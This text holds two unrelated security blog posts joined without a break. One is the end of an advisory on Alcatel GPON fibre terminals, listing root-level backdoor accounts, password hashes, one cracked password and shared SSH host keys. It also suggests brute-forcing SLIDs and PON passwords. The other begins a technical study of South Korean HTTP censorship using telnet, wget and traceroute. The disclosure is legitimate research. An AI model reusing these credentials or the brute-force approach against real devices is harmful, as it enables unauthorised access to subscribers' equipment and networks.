CRAFTSPERSON:o4ePHnSAbwl3o:100:100::/tmp:/bin/sh
ICONFIG:9E/ixZ86A5mTQ:0:0:Alcatel User,,,:/tmp:/bin/sh
restricted:W6wa7UoRwHH7k:0:0::/tmp:/bin/mysh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:ViUjCv6nSZ38U:0:0::/tmp:/bin/sh
Other backdoor accounts but not used (ICONFIG
, restricted
-- with root privileges).
The passwd.DISABLE
file contains credentials too:
user@kali:~$ cat passwd.DISABLE
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:o4ePHnSAbwl3o:100:100::/tmp:/bin/sh
ICONFIG:9E/ixZ86A5mTQ:0:0:Alcatel User,,,:/tmp:/bin/sh
restricted:W6wa7UoRwHH7k:0:0::/tmp:/bin/mysh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:megWL9CFKXbmA:0:0::/tmp:/bin/sh
Other interesting users (with root privileges) with hashes: ICONFIG
, restricted
, ONTUSER
.
John will reveal password, like:
restricted:iitywimw:0:0::/tmp:/bin/mysh
The /usr/alcatel/web/httpd.conf
file contains credentials:
user@kali:~$ ./usr/alcatel/web/httpd.conf
/:ONTUSER:$1$$j5N8wFCZNAAGhA8WA2tgJ.
/:CRAFTSPERSON:$1$$UjLhdhvWxqvlRh9TGNIv7/
And the /etc/httpd.conf
contains credentials too:
user@kali:~$ cat ./etc/httpd.conf
A:192.168.4.
D:*
/:CRAFTSPERSON:$1$$UjLhdhvWxqvlRh9TGNIv7/
# ls -la /
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 .
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 ..
drwxrwxrwx 2 4223 619 1024 Nov 18 2010 bin
drwxr-xr-x 1 root root 0 Jan 1 1970 dev
drwxrwxrwx 11 4223 619 1024 Dec 31 23:59 etc
drwxrwxrwx 4 51454 619 1024 Nov 11 2005 home
drwxrwxrwx 4 4223 619 2048 Aug 2 2005 lib
drwx------ 2 root root 12288 Jun 29 2013 lost+found
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 mnt
dr-xr-xr-x 64 root root 0 Jan 1 1970 proc
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 root
drwxrwxrwx 2 4223 619 1024 Aug 2 2005 sbin
drwxrwxrwx 2 51454 619 1024 Jan 1 00:00 tmp
drwxrwxrwx 11 4223 619 1024 Aug 2 2005 usr
drwxrwxrwt 5 root root 100 Jan 1 2006 var
#
NO COMMENT
The SSH keys are common to the 3 ONTs. They are not generated locally but are stored in all the ONTs:
118cf5bad0322ed1215367679860a1ab alcatel.orange.v1/etc/ssh/ssh_host_dsa_key
118cf5bad0322ed1215367679860a1ab alcatel.sfr.v1/etc/ssh/ssh_host_dsa_key
118cf5bad0322ed1215367679860a1ab alcatel.orange.v2/etc/ssh/ssh_host_dsa_key
1f2dc282fff78f4682fafb166bfe7512 alcatel.orange.v1/etc/ssh/ssh_host_rsa_key.pub
1f2dc282fff78f4682fafb166bfe7512 alcatel.sfr.v1/etc/ssh/ssh_host_rsa_key.pub
1f2dc282fff78f4682fafb166bfe7512 alcatel.orange.v2/etc/ssh/ssh_host_rsa_key.pub
4386f5d936f01219075999d98e5758f9 alcatel.orange.v1/etc/ssh/ssh_host_rsa_key
4386f5d936f01219075999d98e5758f9 alcatel.sfr.v1/etc/ssh/ssh_host_rsa_key
4386f5d936f01219075999d98e5758f9 alcatel.orange.v2/etc/ssh/ssh_host_rsa_key
5c3e0520cd2c0b385016bf0909280e3d alcatel.orange.v1/etc/ssh/ssh_host_key.pub
5c3e0520cd2c0b385016bf0909280e3d alcatel.sfr.v1/etc/ssh/ssh_host_key.pub
5c3e0520cd2c0b385016bf0909280e3d alcatel.orange.v2/etc/ssh/ssh_host_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9 alcatel.orange.v1/etc/ssh/ssh_host_dsa_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9 alcatel.sfrv1.sfr/etc/ssh/ssh_host_dsa_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9 alcatel.orange.v2/etc/ssh/ssh_host_dsa_key.pub
da1e8ba42dfb2e1dfd105f8cc7a61cbb alcatel.orange.v1/etc/ssh/ssh_host_key
da1e8ba42dfb2e1dfd105f8cc7a61cbb alcatel.sfr.v1/etc/ssh/ssh_host_key
da1e8ba42dfb2e1dfd105f8cc7a61cbb alcatel.orange.v2/etc/ssh/ssh_host_key
The Alcatel binaries are useful to control the FTTH connection :)
/usr/alcatel/help/*
contains all the help files:
help
help/CommEqptMgmt
help/CommEqptMgmt/eqpt-dbg.help
help/bkgnd
help/bkgnd/bkgnd-dbg.help
help/parser
help/parser/pars-dbg.help
help/gponMac
help/gponMac/send.help
help/dbg
help/dbg/dbg.help
help/sniffer
help/sniffer/send.help
IE:
user@kali:~$ cat help/gponMac/send.help
A command string is sent to the gponMac process. The gponMac process
handles the command string and takes the appropriate action.
USAGE:
In order to send a command to the gponMac process, the following needs
to be done.
1. The gponMac process must be running.
2. The send command must be in the path.
3. The 'send gpon <command string>' command is then executed to send
<command string> to the gponMac process.
Valid commands are:
rw ww laser pm
rs dump ri slid
max1932 alarms ethhdr(*1) interrupts
sim deviceid ranginginfo dsphy
dstc usbwc usgem ustc
usphy fpga(*2) video(*3) help
*1 - Only available on Currituck based boards.
*2 - Only available on FPGA based boards.
*3 - Only available on boards with video.
Examples:
To get more detailed information on a specific command, use:
'send gpon help <command>'
To get more detailed help information on all commands, use:
'send gpon help all'
To retrieve the current ranging state, the rs command, use:
'send gpon rs'
It appears the gponMac
program is a big mess without security by design.
Having fun with Alcatel daemons:
$ send help
send sniffer <cmd str> - send <cmd str> to the sniffer process
send gpon <cmd str> - send <cmd str> to the gponMac process
send test <test cmd> - perform the specified test cmd
setpowerdown <enable> - send powerdown message to gponMac process
GPON MAC API test cmds:
getconfinfo
confgemport <portId> <dir>
delgemport <portId> <dir>
getgemportconf <portId>
confgemportweight <portId> <pbits> <weight>
confallocgemassoc <allocId> <portId> <enable>
getallocidconf <allocId>
addmcastentry <mac> <wait> |<destPort>|
delmcastentry <mac> <wait>
confmcastfilter <portId> <enable> <wait>
getmcastfilterconf
wipemcastconf
confslid <persistent> <hexMode> (test slid only)
getslidconf
wipeallconf
setlasermode <enable>
setvideomode <enable>
setopticalattr <agcmode> <agcsetting> <vidlosthr> <vidlowthr> <vidhighthr> <ponlowthr> <ponhighthr> |<lasereolhighthr>|
getopticalattr
lockgmacpm
unlockgmacpm
printpm
resetgmacpm
Parameters:
allocId - 0-4095
portId - 0-4095
enable - 0(disable) 1(enable)
dir - 0(upstream) 1(downstream) 2(bi-dir)
pbits - 0-7
weight - 0-255
vid - VLAN ID
omci, 0vlan, keeptag, cpvid, wait - 0(no) 1(yes)
dest - 0(GMII0) 1(GMII1) 2(loopback) 3(drop to processor)
mac - 0xXXXXXX
If you want to debug GPON, use these commands:
empty -s -o /tmp/fifo.in "show gpon type\nshow gpon slid\nshow gpon sn\nshow firmware version\nshow gpon RSSI\n"
empty -s -o /tmp/fifo.in "show led\nshow uptime\nshow download status\nshow gpon ranging state\nshow gpon status\n"
nvram get ont_slid
Possible arguments for send:
show gpon type
show gpon slid
show gpon sn
show firmware version
show gpon RSSI
show led
show uptime
show download status
show gpon ranging state
show gpon status
gpon dump
gpon rw 0
gpon rw 4
gpon rw 100
gpon rw 104
gpon ww 100 ff
gpon rw 3000
gpon rw 3004
gpon ww 3000 ff
gpon rw 3010
gpon rw 3014
gpon ww 3010 ff
gpon rw 0x4024
gpon rw 0x4030
gpon rw 0x4034
gpon rw 0x4038
gpon rw 0x403c
gpon rw 0x4040
gpon rw 0x4044
gpon rw 100 # ALARMS
gpon rw 110 # BIP errors
gpon rw 114 # ERRORED Frames
gpon rw 11c # OOF counters
gpon rw 118 # PSYNC error counters
gpon rw 120 # Kill traffic registers
gpon rw 124 # last bit traffic enable
[...]
You can have fun reversing Alcatel binaries :)
Having fun reversing the binaries is left as an exercise for the reader :D
user@kali:~$ grep -ai backdoor usr/freescale/bin/hld_test
This command is a backdoor to reading ONU MAC registers including bad addresses
NO COMMENT
When SLIDs
are PERMANENT
, it seems to be trivial to bruteforce SLIDs
and PON
passwords (/usr/alcatel/dbg_bin/spiusrtest -f ponpassword
). You can then authenticate yourself with PPP or, if it works, just by getting a connection with DHCP.
When SLIDs
are VOLATILE
, just connecting to a FTTH located in a basement will provide, in theory, the attacker with an anonymous gigabit FTTH connection.
As we have seen earlier, in certain cases, the security provided by GPON FTTH networks can be very bad.
I plan to publish a next article about FTTH and explain how a FTTH connection works inside the ONT/ONU
and how an attacker can bruteforce SLIDs
and PON
passwords.
The possibilities of exploiting GPON FTTH networks are endless - that is, having fast Internet connections at home and learning interesting stuff ;)
This research was done by Pierre Kim (@PierreKimSec).
I would like to thank my wife who endures my time-consuming passions (maybe craziness is the correct term).
I would like to thank A, J and T (you know who you are :)
I would like to thank the LSE EPITA for providing me with a lot of CPU power used to crack the hashed backdoor passwords found in the ONT firmware.
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
TL;DR: Please go directly to the Conclusion to discover how (in)effective the censorship of Internet in South Korea is. This blogpost can be served for you to remind how HTTP requests work.
0. Introduction
1. First contact with the censorship system
2. Locating the censorship system in the networks
3. Inner work of the censorship system
3.1. Different answers provided by censorship systems
3.1.1. Direct HTML as an answer
3.1.2. Direct HTML as an answer (censorship system A)
3.1.3. 302 Temporary redirect (censorship system B)
3.2. Brief analysis
3.3. Let's debug the censorship system - From HTTP/0.9 to HTTP/1.1
3.3.1. HTTP/0.9
3.3.2. HTTP/1.0
3.3.3. HTTP/1.1
3.4. Analysis
3.5 More tricky requests with HTTP
3.5.1. Custom Vhosts
3.5.2. HTTP requests methods
3.5.3. Having fun with HTTP/1.1 persistent connection
3.5.4. HTTP vs. HTTPS
3.5.5. Random behaviors provided by the censorship system
3.5.6. CDN for content (VOD/images)
3.5.7. HTTP2 for http URIs
3.5.8. WebSockets
3.5.9. HTTP2 for https URIs
3.5.10. Readline vs. buffered HTTP requests
4. Using HTTP proxies
5. IPv6
6. Bypassing the filter
6.1. By using a different vhost (easy-PoC)
6.2. By using HTTP persistent connection: HEAD then GET (PoC)
6.3. By using HTTP persistent connection: GET then GET (PoC)
6.4. By using \n instead of \r\n in the HTTP requests (unreliable method, PoC)
6.5. By using HTTP invalid methods (PoC)
6.6. By sending HTTP requests line by line (PoC)
6.7. By using a method ONLY if there is a censorship
6.8. By using a VPN
6.9. By using HTTPS websites/proxies
7. Conclusion
8. Credits and Greetings
9. Personal note to http://www.warning.or.kr/ administrator
10. License
As staying in South Korea, I was curious and wanted to know more about the censorship as stated in Wikipedia.
Wikipedia: Censorship in South Korea:
KCSC (Korea Communications Standards Commission) is responsible for online control and requires Korean citizens to enter government issued ID numbers in order to post political comments online. The KCSC has the right to suspend or delete any web posting or articles for 30 days as soon as a complaint is filed (to combat cyberbullying in South Korea). Every week, portions of the Korean web are taken down by the KCSC. In 2013, around 23,000 Korean webpages were deleted and another 63,000 blocked by the KCSC.
Korean officials' rhetoric about censored material, including that it is "subversive", "illegal", "harmful" or related to "pornography and nudity", has been noted as similar to that of their Chinese counterparts. Critics also say that the government takes prohibitions on profanity as "a convenient excuse to silence critics" and chill speech.
This designation persisted in 2012, where the report suggests South Korea's censorship is similar to those of Russia and Egypt.
You may have seen the infamous message "This webpage is illegal" when you try to get into some websites. By the way, if you don't speak Korean, I wish you a good luck trying to copy/paste texts from an image and understand what is going on:
Wikipedia lists a short list of websites forbidden to visit in South Korea, but I used https://github.com/aredo/porn-site-list/blob/master/sites.json to get a list of potentially banned websites (a lot of them are actually blocked) in South Korea.
As you see, quite a large number of websites are currently blocked. They include the websites that are considered containing "socially harmful" or subversive contents such as adult or gambling websites as well as political matters notably related to North Korea. Social medias are very much censored too (online comments are massively removed).
This research excludes any politically sensitive items as this analysis is intended to be limited to a technical side and I am not making any political judgment. I am trying, from an external point of view, to evaluate the technical level of the current censorship system. Social medias are out of scope of this analysis.
This study was done in September 2016 using 3 major ISPs: KT, SK Telecom (SKT) and LG U+.
We will use telnet
to understand how the censorship system works.
If you go on a censored website, you will see this webpage:
Let's dig:
A standard (and very basic) HTTP request is:
GET / HTTP/1.1
Host: www.remote-server.com\r\n\r\n
Trying this on a censored website:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.1
Host: xhamster.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
user@kali:~$
By changing the Host
value to a banned website, it seems we can trigger the censorship system:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.1
Host: wutwut
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: http://xhamster.com/
user@kali:~$
This request seems to work and the Nginx server from xhamster.com
will reply to us. So, at least, the censorship system is analyzing the Host
header in the HTTP request.
We will use wget
to customize the request in order to understand where is the filtering process.
We ask the Google.ru webpage (note: I made a configuration to ensure www.google.ru resolves to a Google server not located in South Korea. 216.58.214.131
is located in Europe).
I, then, will use Google servers located in South Korea to see if the censorship is really analyzing every Host header on every HTTP connection or only targeting a few IPs.
We will eventually determine where this censorship system is located.
We are doing a name resolution to get a Google server outside South Korea:
user@kali:~$ host google.ru 8.8.8.8
Using domain server:
Name: 8.8.8.8
Address: 8.8.8.8#53
Aliases:
google.ru has address 216.58.197.227
google.ru has IPv6 address 2404:6800:4005:802::2003
google.ru mail is handled by 50 alt4.aspmx.l.google.com.
google.ru mail is handled by 30 alt2.aspmx.l.google.com.
google.ru mail is handled by 20 alt1.aspmx.l.google.com.
google.ru mail is handled by 10 aspmx.l.google.com.
google.ru mail is handled by 40 alt3.aspmx.l.google.com.
user@kali:~$
user@kali:~$ traceroute -n 216.58.197.227
traceroute to 216.58.197.227 (216.58.197.227), 30 hops max, 60 byte packets
1 100.114.55.252 3.915 ms 4.052 ms 4.495 ms
2 100.114.27.169 4.503 ms 4.498 ms 4.495 ms
3 1.255.24.48 4.806 ms 5.027 ms 5.026 ms
4 61.98.54.109 5.380 ms 5.376 ms 5.372 ms
5 58.229.4.16 7.384 ms 58.229.4.12 13.247 ms 58.229.4.8 10.801 ms
6 118.221.7.46 9.586 ms 5.669 ms 5.596 ms
7 39.115.132.69 5.062 ms 58.229.15.213 5.038 ms 39.115.132.69 5.030 ms
8 72.14.216.77 41.280 ms 72.14.215.199 38.651 ms 38.296 ms
9 216.239.54.1 39.183 ms 39.033 ms 209.85.142.95 38.461 ms
10 209.85.142.185 43.401 ms 216.239.40.11 43.397 ms 209.85.142.185 40.657 ms
11 72.14.238.35 64.533 ms 216.58.197.227 36.478 ms 37.243 ms
user@kali:~$
Google.ru resolves to a foreign IP which is far away.
Ok let's debug:
user@kali:~$ wget -O- http://www.google.ru/ | grep -ai google|head -n 1
--2016-10-01 XX:XX:XX-- http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="ru"><head><meta content="Google." name="description"><meta content="noodp" name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script>(function(){window.google={kEI:'9kbBV4mEM8nt0gSfvbGQCg',kEXPI:'3700062,3700283,3700389,4029815,4031109,4032678,4036509,4036527,4038012,4039268,4043492,4045841,4048347,4052304,4058543,4061154,4062702,4063879,4065786,4065793,4066654,4066708,4067175,4067860,4068550,4068816,4069839,4069841,4069905,4070127,4070220,4070598,4071231,4071575,4071603,4071842,4072000,4072289,4072364,4072653,4072682,4072773,4073231,4073405,4073419,4073958,4073980,4074426,4074801,4075122,4075451,4075464,4075781,4075788,4075860,4075966,4075976,4076018,4076096,4076115,4076117,4076797,4076931,4077219,4077221,4077384,4077391,8300096,8300273,8502184,8503585,8504846,8505150,8505152,8505585,8505677,8505816,8506585,10200083',authuser:0,kscs:'c9c918f0_24'};google.kHL='ru';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute("leid")));)a=a.parentNode;return b};google.https=function(){return"https:"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,e,g){a=google.logUrl(a,b,c,e,g);if(""!=a){b=new Image;var d=google.lc,f=google.li;d[f]=b;b.onerror=b.onload=b.onabort=function(){delete d[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,e,g){var d="",f=google.ls||"";if(!c&&-1==b.search("&ei=")){var h=google.getEI(e)
user@kali:~$
Yeah! We can access to Google.
Now, question: Does it work when we try to contact Google server in South Korea? (1.255.22.242
is an IP for www.google.co.kr, located in South Korea, as shown below):
Google inside Korean IP space:
user@kali:~$ host google.co.kr
google.co.kr has address 1.255.22.241
google.co.kr has address 1.255.22.237
google.co.kr has address 1.255.22.217
google.co.kr has address 1.255.22.216
google.co.kr has address 1.255.22.227
google.co.kr has address 1.255.22.251
google.co.kr has address 1.255.22.242
google.co.kr has address 1.255.22.232
google.co.kr has address 1.255.22.226
google.co.kr has address 1.255.22.247
google.co.kr has address 1.255.22.236
google.co.kr has address 1.255.22.222
google.co.kr has address 1.255.22.221
google.co.kr has address 1.255.22.212
google.co.kr has address 1.255.22.231
google.co.kr has address 1.255.22.246
google.co.kr has IPv6 address 2404:6800:400a:806::2003
google.co.kr mail is handled by 10 aspmx.l.google.com.
google.co.kr mail is handled by 40 alt3.aspmx.l.google.com.
google.co.kr mail is handled by 20 alt1.aspmx.l.google.com.
google.co.kr mail is handled by 50 alt4.aspmx.l.google.com.
google.co.kr mail is handled by 30 alt2.aspmx.l.google.com.
user@kali:~$ tcptraceroute -n 1.255.22.242 80
Running:
traceroute -T -O info -n -p 80 1.255.22.242
traceroute to 1.255.22.242 (1.255.22.242), 30 hops max, 60 byte packets
1 100.114.55.252 3.759 ms 4.431 ms 4.556 ms
2 100.114.27.169 4.553 ms 4.551 ms 4.547 ms
3 1.255.24.48 5.182 ms 5.668 ms 5.900 ms
4 61.98.54.109 5.900 ms 6.452 ms 6.992 ms
5 58.229.4.28 10.786 ms 58.229.4.20 12.408 ms 58.229.4.36 10.783 ms
6 58.229.4.163 10.713 ms 7.037 ms 7.370 ms
7 1.255.22.242<syn,ack> 6.621 ms 7.737 ms 7.798 ms
user@kali:~$ ping 1.255.22.242
PING 1.255.22.242 (1.255.22.242) 56(84) bytes of data.
64 bytes from 1.255.22.242: icmp_seq=1 ttl=58 time=4.32 ms
^C
--- 1.255.22.242 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.328/4.328/4.328/0.000 ms
user@kali:~$
4.32ms to contact 1.255.22.242
! - this IP is located in South Korea (and whois 1.255.22.242
will confirm it - SK Broadband Co Ltd).
Fetching a webpage located at 1.255.22.242
:
user@kali:~$ wget -O- http://1.255.22.242/ >/dev/null
--2016-10-01XX:XX:XX-- http://1.255.22.242/
Connecting to 1.255.22.242:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.google.com/ [following]
--2016-10-01 XX:XX:XX-- http://www.google.com/
Resolving www.google.com (www.google.com)... 74.125.203.103, 74.125.203.105, 74.125.203.106, ...
Connecting to www.google.com (www.google.com)|74.125.203.103|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.google.co.kr/?gfe_rd=cr&ei=n3nCV9PEPM-T9QWY36ywCg [following]
--2016-10-01 XX:XX:XX-- http://www.google.co.kr/?gfe_rd=cr&ei=n3nCV9PEPM-T9QWY36ywCg
Resolving www.google.co.kr (www.google.co.kr)... 74.125.23.94, 2404:6800:4008:c01::5e
Connecting to www.google.co.kr (www.google.co.kr)|74.125.23.94|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
- [ <=>] 10.78K --.-KB/s in 0.001s
2016-10-01 XX:XX:XX (7.03 MB/s) - written to stdout [11040]
The default webpage will give us a 302 Redirect to http://www.google.co.kr/
.
We can access to Google servers located in South Korea too!
Now, we know that browsing the www.xhamster.com
webpage will show the warning.or.kr
webpage from the first part.
We can forge the Host header in the HTTP request to understand where the censorship system is located.
Asking a Google webpage on a Google server located outside South Korea with a custom header with a banned Host (Host: www.xhamster.com
):
user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.ru/
--2016-10-01XX:XX:XX-- http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX-- http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'STDOUT'
- 0%[ ] 0 --.-KB/s <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="kcsc" content="blocking" />
<title>www.warning.or.kr</title>
<style type="text/css">
[...]
user@kali:~$
This request is blocked (see the 302 direction to http://www.warning.or.kr/
).
As seen before, we have access to Google servers located inside and outside South Korea.
If I try to contact a Google server located outside South Korea and ask for a custom censored host, then the request seems to be censored.
However, if I ask a Google server located in South Korea to provide me with a banned website, this request will work and Google will provide a reply, as shown below.
Asking www.xhamster.com
on a Google Korean Server will result a 404 page from Google (that is, this request is NOT blocked by the censorship system):
user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://1.255.22.242/
--2016-10-01XX:XX:XX-- http://1.255.22.242/
Connecting to 1.255.22.242:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2016-10-01 XX:XX:XX ERROR 404: Not Found.
user@kali:~$
Using telnet for the same request (in HTTP/1.0):
user@kali:~$ telnet 1.255.22.242 80
Trying 1.255.22.242...
Connected to 1.255.22.242.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.0 404 Not Found
Content-Type: text/html; charset=UTF-8
Content-Length: 1561
Date: Fri, 01 Oct 2016 00:00:00 GMT
<!DOCTYPE html>
<html lang=en>
<meta charset=utf-8>
<meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
<title>Error 404 (Not Found)!!1</title>
<style>
*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}
</style>
<a href=//www.google.com/><span id=logo aria-label=Google></span></a>
<p><b>404.</b><ins>That's an error.</ins>
<p>The requested URL <code>/</code> was not found on this server. <ins>That's all we know.</ins>
Connection closed by foreign host.
user@kali:~$
But asking www.xhamster.com
on a foreign server will result a 302 redirect to www.warning.or.kr
:
user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.com/
--2016-10-01XX:XX:XX-- http://www.google.com/
Resolving www.google.com (www.google.com)... 64.233.188.94, 2404:6800:4005:800::2003
Connecting to www.google.com (www.google.com)|64.233.188.94|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX-- http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... ^C
user@kali:~$
From this, we can assume the filtering system only targets HTTP connections from international links.
Let's do a traceroute and a TCPtraceroute to find out what is happening.
Using SKT connections, UDP traceroute to www.xhamster.com
:
user@kali:~$ traceroute www.xhamster.com
traceroute to www.xhamster.com (88.208.29.24), 30 hops max, 60 byte packets
1 100.114.55.252 (100.114.55.252) 2.803 ms 3.910 ms 4.871 ms
2 100.114.27.169 (100.114.27.169) 4.863 ms 5.679 ms 6.116 ms
3 1.255.24.48 (1.255.24.48) 6.121 ms 6.611 ms 7.979 ms
4 61.98.54.109 (61.98.54.109) 8.227 ms 8.713 ms 8.709 ms
5 58.229.4.32 (58.229.4.32) 9.056 ms 58.229.4.12 (58.229.4.12) 15.861 ms 15.868 ms
6 118.221.7.34 (118.221.7.34) 13.865 ms 6.821 ms 1.255.26.242 (1.255.26.242) 7.892 ms
7 58.229.14.9 (58.229.14.9) 164.852 ms 162.677 ms 164.854 ms
8 iptp.as41095.any2ix.coresite.com (206.72.210.118) 159.382 ms 159.961 ms 165.059 ms
9 be2.r0.r328.nkf.ams.nl.iptp.net (91.194.117.128) 326.743 ms 328.153 ms 327.627 ms
10 be101.r0.r328.nkf.ams.nl.iptp.net (176.56.179.130) 324.799 ms be100.r0.r328.nkf.ams.nl.iptp.net (176.56.179.128) 328.517 ms be101.r0.r328.nkf.ams.nl.iptp.net (176.56.179.130) 325.047 ms
11 * * *
12 * * *
13 * * *
[...]
user@kali:~$
Now doing a TCPtraceroute to www.xhamster.com
on port 80 shows something fishy:
user@kali:~$ tcptraceroute www.xhamster.com 80
Running:
traceroute -T -O info -p 80 www.xhamster.com
traceroute to www.xhamster.com (88.208.29.24), 30 hops max, 60 byte packets
1 100.114.55.252 (100.114.55.252) 5.047 ms 5.730 ms 6.041 ms
2 100.114.27.169 (100.114.27.169) 6.050 ms 6.047 ms 8.086 ms
3 1.255.24.48 (1.255.24.48) 8.099 ms 8.097 ms 8.092 ms
4 61.98.54.109 (61.98.54.109) 8.090 ms 8.086 ms 8.082 ms
5 58.229.4.12 (58.229.4.12) 8.079 ms 58.229.4.20 (58.229.4.20) 8.698 ms 58.229.4.12 (58.229.4.12) 14.548 ms
6 118.221.7.46 (118.221.7.46) 9.524 ms 118.221.7.26 (118.221.7.26) 7.158 ms 1.255.26.242 (1.255.26.242) 5.676 ms
7 39.115.132.234 (39.115.132.234) 6.989 ms 5.656 ms 6.988 ms
8 * * *
9 * * *
10 192.168.112.1 (192.168.112.1) 13.741 ms 14.491 ms 16.793 ms
11 39.115.132.233 (39.115.132.233) 6.942 ms 6.935 ms 5.209 ms
12 58.229.14.9 (58.229.14.9) 312.169 ms 312.143 ms 312.145 ms
13 iptp.as41095.any2ix.coresite.com (206.72.210.118) 312.111 ms 307.172 ms 309.766 ms
14 be2.r0.r328.nkf.ams.nl.iptp.net (91.194.117.128) 337.794 ms 337.775 ms 337.779 ms
15 be100.r0.r328.nkf.ams.nl.iptp.net (176.56.179.128) 337.777 ms 337.775 ms be101.r0.r328.nkf.ams.nl.iptp.net (176.56.179.130) 329.002 ms
16 88.208.29.24 (88.208.29.24) <syn,ack> 317.332 ms 312.113 ms 312.082 ms
user@kali:~$
The hop number 10 shows a RCF1918 IP (192.168.112.1
) only when doing a traceroute using TCP.
Let's target another website (www.ovh.com
, a big European ISP):
user@kali:~$ tcptraceroute www.ovh.com 80
Running:
traceroute -T -O info -p 80 www.ovh.com
traceroute to www.ovh.com (198.27.92.1), 30 hops max, 60 byte packets
1 100.114.55.252 (100.114.55.252) 1.750 ms 1.996 ms 2.272 ms
2 100.114.27.169 (100.114.27.169) 3.064 ms 3.070 ms 3.067 ms
3 1.255.24.48 (1.255.24.48) 12.399 ms 13.106 ms 13.552 ms
4 61.98.54.109 (61.98.54.109) 4.066 ms 4.321 ms 4.568 ms
5 58.229.4.8 (58.229.4.8) 6.992 ms 6.999 ms 58.229.4.20 (58.229.4.20) 5.160 ms
